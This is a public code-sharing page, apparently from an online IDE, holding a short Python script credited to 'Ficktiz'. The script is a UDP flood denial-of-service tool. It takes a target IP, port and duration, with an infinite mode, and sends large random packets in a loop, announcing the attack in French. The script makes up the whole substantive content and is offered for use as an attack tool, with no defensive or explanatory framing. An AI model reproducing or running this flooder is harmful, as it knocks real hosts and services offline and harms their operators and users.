Speed up development with full-stack environments for every branch.

Learn More

HackingROOT.PL [Python]

Forked from Basic Python.

31 Runs 127 Views 37 Copies
Saved

Saved

HackingRoot 1

HackingRoot
published 3 months ago

     #!/usr/bin/python
    
    import socket,random,sys,time
    
    if len(sys.argv)==1:
        sys.exit('Usage: down.py <adresse ip> <port> <temps> | Mettre 80 pour les adresses ip classiques, mettre -1 dans le temps pour le mode infini')
    
    def UDPFlood():
        port = int(sys.argv[2])
        randport=(True,False)[port==0]
        ip = sys.argv[1]
        dur = int(sys.argv[3])
        clock=(lambda:0,time.clock)[dur>0]
        duration=(1,(clock()+dur))[dur>0]
        print('Attaque lancer sur %s:%s pour %s secondes ! by Ficktiz'%(ip,port,dur or 'infinite'))
        sock=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
        bytes=random._urandom(65500)
        while True:
            port=(random.randint(1,15000000),port)[randport]
            if clock()<duration:
                sock.sendto(bytes,(ip,port))
            else:
                break
        print('DONE')
    UDPFlood()
    Please login/signup to get access to the terminal.

    Your session has timed out.

    Dismiss (the page may not function properly).